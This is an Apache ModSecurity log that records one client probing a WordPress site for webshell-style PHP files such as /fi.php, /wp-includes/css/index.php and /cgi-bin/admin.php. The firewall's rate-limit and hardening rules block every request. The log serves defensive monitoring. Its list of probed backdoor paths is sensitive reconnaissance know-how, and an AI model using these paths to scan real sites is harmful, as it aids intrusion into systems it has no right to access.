[Thu Apr 23 23:43:53.921126 2026] [:error] [pid 42971:tid 42989] [client 74.234.74.247:3890] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aeo-OTEP2_5RswrH8bE7GAAAAAM"]
[Thu Apr 23 23:43:54.431953 2026] [:error] [pid 42973:tid 43054] [client 74.234.74.247:3950] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo-Om6I0QqmmmLTHE1GnQAAAIs"]
[Thu Apr 23 23:43:54.995984 2026] [:error] [pid 42971:tid 43002] [client 74.234.74.247:3840] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo-OjEP2_5RswrH8bE7GgAAABA"]
[Thu Apr 23 23:43:56.125372 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:3956] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo-PIV5EysYcTLjmwjEWAAAAcc"]
[Thu Apr 23 23:43:56.651660 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:4028] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo-PMOAb-3sOknsk4dyDwAAAFg"]
[Thu Apr 23 23:43:57.250495 2026] [:error] [pid 42972:tid 43024] [client 74.234.74.247:3876] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo-PcOAb-3sOknsk4dyJwAAAEg"]
[Thu Apr 23 23:43:57.814064 2026] [:error] [pid 42973:tid 43045] [client 74.234.74.247:4004] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo-PW6I0QqmmmLTHE1GuAAAAII"]
[Thu Apr 23 23:43:58.341425 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:3942] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo-PoV5EysYcTLjmwjEYgAAAdI"]
[Thu Apr 23 23:43:58.860303 2026] [:error] [pid 42971:tid 42988] [client 74.234.74.247:3783] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo-PjEP2_5RswrH8bE7MgAAAAI"]
[Thu Apr 23 23:43:59.399436 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:3885] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeo-P4V5EysYcTLjmwjEZAAAAcc"]
[Thu Apr 23 23:43:59.912065 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3882] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeo-P76vRb9j6psK2Zbm_AAAAhU"]
[Thu Apr 23 23:44:00.445371 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:9392] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeo-QL6vRb9j6psK2ZbnAAAAAhA"]
[Thu Apr 23 23:44:00.999874 2026] [:error] [pid 42971:tid 42986] [client 74.234.74.247:3934] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aeo-QDEP2_5RswrH8bE7NgAAAAA"]
[Thu Apr 23 23:44:01.570568 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3879] [client 74.234.74.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeo-Qb6vRb9j6psK2ZbnCwAAAhU"]
[Thu Apr 23 23:44:02.760529 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:4073] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo-Qr6vRb9j6psK2ZbnHwAAAgM"]
[Thu Apr 23 23:44:03.307299 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:9391] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo-Q76vRb9j6psK2ZbnLAAAAgs"]
[Thu Apr 23 23:44:03.852028 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:4007] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo-Q76vRb9j6psK2ZbnNgAAAgU"]
[Thu Apr 23 23:44:04.380706 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:3930] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeo-RIV5EysYcTLjmwjEbwAAAc4"]
[Thu Apr 23 23:44:04.934215 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:4088] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeo-RL6vRb9j6psK2ZbnRQAAAhE"]
[Thu Apr 23 23:44:05.560759 2026] [:error] [pid 43083:tid 43089] [client 74.234.74.247:3864] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeo-RTC5hrvNXosL83KOiQAAAMQ"]
[Thu Apr 23 23:44:06.086421 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:3865] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeo-RoV5EysYcTLjmwjEfgAAAdQ"]
[Thu Apr 23 23:44:06.658559 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:3957] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeo-Rr6vRb9j6psK2ZbnbAAAAgc"]
[Thu Apr 23 23:44:07.207408 2026] [:error] [pid 42973:tid 43044] [client 74.234.74.247:4043] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeo-R26I0QqmmmLTHE1G7QAAAIE"]
[Thu Apr 23 23:44:07.771622 2026] [:error] [pid 42972:tid 43021] [client 74.234.74.247:3849] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeo-R8OAb-3sOknsk4dy_AAAAEU"]
[Thu Apr 23 23:44:08.316777 2026] [:error] [pid 59700:tid 59725] [client 74.234.74.247:3959] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeo-SJXyGZJFeAIDWtlIBAAAAVc"]
[Thu Apr 23 23:44:08.886865 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:3886] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeo-SIV5EysYcTLjmwjEmgAAAdA"]
[Thu Apr 23 23:44:10.476442 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:3869] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeo-Sr6vRb9j6psK2ZbnqgAAAgg"]
[Thu Apr 23 23:44:11.031756 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:3918] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeo-S76vRb9j6psK2ZbnswAAAgA"]
[Thu Apr 23 23:44:11.572276 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3874] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeo-S4V5EysYcTLjmwjEtwAAAcY"]
[Thu Apr 23 23:44:12.120481 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:3933] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww2.php"] [unique_id "aeo-TIV5EysYcTLjmwjEvwAAAcA"]
[Thu Apr 23 23:44:12.668818 2026] [:error] [pid 42972:tid 43017] [client 74.234.74.247:3798] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww2.php"] [unique_id "aeo-TMOAb-3sOknsk4dzOwAAAEE"]
[Thu Apr 23 23:44:13.242156 2026] [:error] [pid 59700:tid 59708] [client 74.234.74.247:3810] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww2.php"] [unique_id "aeo-TZXyGZJFeAIDWtlIDwAAAUY"]
[Thu Apr 23 23:44:13.809615 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:4023] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww2.php"] [unique_id "aeo-TcOAb-3sOknsk4dzSgAAAFQ"]
[Thu Apr 23 23:44:14.345534 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:3715] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aeo-Tr6vRb9j6psK2Zbn8gAAAhM"]
[Thu Apr 23 23:44:14.990495 2026] [:error] [pid 64998:tid 65005] [client 74.234.74.247:3878] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aeo-ToV5EysYcTLjmwjE7wAAAcM"]
[Thu Apr 23 23:44:15.496781 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3780] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aeo-T76vRb9j6psK2ZboDgAAAhU"]
[Thu Apr 23 23:44:16.027965 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:3984] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aeo-UMOAb-3sOknsk4dzYQAAAEk"]
[Thu Apr 23 23:44:16.550083 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:3941] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeo-UMOAb-3sOknsk4dzaAAAAFg"]
[Thu Apr 23 23:44:17.092436 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3953] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeo-Ub6vRb9j6psK2ZboLQAAAhU"]
[Thu Apr 23 23:44:17.641396 2026] [:error] [pid 59700:tid 59717] [client 74.234.74.247:3843] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeo-UZXyGZJFeAIDWtlIHAAAAU8"]
[Thu Apr 23 23:44:18.176127 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:3785] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeo-Ur6vRb9j6psK2ZboQwAAAhI"]
[Thu Apr 23 23:44:18.724008 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3812] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeo-UoV5EysYcTLjmwjFKwAAAcY"]
[Thu Apr 23 23:44:19.293247 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:3832] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeo-U8OAb-3sOknsk4dzgAAAAFE"]
[Thu Apr 23 23:44:19.861313 2026] [:error] [pid 59700:tid 59716] [client 74.234.74.247:3895] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeo-U5XyGZJFeAIDWtlIJQAAAU4"]
[Thu Apr 23 23:44:20.405640 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3967] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeo-VL6vRb9j6psK2ZbocwAAAhU"]
[Thu Apr 23 23:44:20.972138 2026] [:error] [pid 59700:tid 59723] [client 74.234.74.247:3887] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeo-VJXyGZJFeAIDWtlIKQAAAVU"]
[Thu Apr 23 23:44:21.504937 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:3792] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeo-Vb6vRb9j6psK2ZboiAAAAgA"]
[Thu Apr 23 23:44:22.066208 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:3856] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeo-Vr6vRb9j6psK2ZbomAAAAgU"]
[Thu Apr 23 23:44:22.584495 2026] [:error] [pid 42972:tid 43024] [client 74.234.74.247:3858] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeo-VsOAb-3sOknsk4dzswAAAEg"]
[Thu Apr 23 23:44:23.127345 2026] [:error] [pid 64998:tid 65026] [client 74.234.74.247:3866] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeo-V4V5EysYcTLjmwjFVgAAAdg"]
[Thu Apr 23 23:44:23.676923 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:3955] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeo-V4V5EysYcTLjmwjFXgAAAco"]
[Thu Apr 23 23:44:24.226543 2026] [:error] [pid 43083:tid 43102] [client 74.234.74.247:9449] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeo-WDC5hrvNXosL83KOkQAAANE"]
[Thu Apr 23 23:44:24.819029 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3818] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeo-WIV5EysYcTLjmwjFaQAAAcY"]
[Thu Apr 23 23:44:25.359147 2026] [:error] [pid 59700:tid 59715] [client 74.234.74.247:3945] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeo-WZXyGZJFeAIDWtlIOgAAAU0"]
[Thu Apr 23 23:44:25.959149 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:3817] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeo-Wb6vRb9j6psK2Zbo2gAAAhQ"]
